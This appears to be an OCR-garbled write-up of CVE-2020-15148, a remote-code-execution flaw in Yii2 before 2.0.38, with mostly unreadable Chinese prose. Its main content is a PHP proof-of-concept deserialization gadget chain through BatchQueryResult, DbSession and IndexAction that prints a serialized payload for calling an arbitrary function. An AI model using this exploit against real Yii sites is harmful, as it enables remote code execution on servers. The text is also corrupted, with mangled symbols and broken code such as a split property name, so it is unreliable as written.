CVE-2020-15148 Yii {E22RF54k RCE F
A& exp

fts

18]7 |

WNERE(ER yii 1222, HEERPAILUEHIAVEALTER T unserialize() HiF*=rAa01ER
T, 22ARFFHInEanSnShiTRRILE.

ZimiRAE php RIFFILHIHAITIE, DREECS wnserialize REAALIAZIERABITHRE
=

R o

ZRFFIUHUTIIES T 8 BYIESAF, ENFEA yil EENEFHE

dll

[mpE)

Yii2 <2.0.38

N,

&

\

ags

(EA=WE=



E%ﬁﬁﬁﬁ?ﬁ%ﬂ: BatchQueryResult %%&}i%ﬁu'ﬂs

exp

<?php
namespace yii\rest {

class Action extends \yii\base\Action

{
public $checkAccess;
}
class IndexAction extends Action
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
¥
}

}
namespace yii\web {

abstract class MultiFieldSession

{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{

public function __construct($func, $param)

{
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}
namespace yii\base {

class BaseObject

{
//
}
class Action
{
public $id;
}

}
namespace yii\db {
use yii\base\BaseObject;

class BatchQueryResult extends BaseObject

{
private $ dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}

b
$exp = new \yii\db\BatchQueryResult($func, $param);

print(serialize($exp));
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1. https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b
3e2b99
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3. https://github.com/AFKL-CUIT/phpggc/



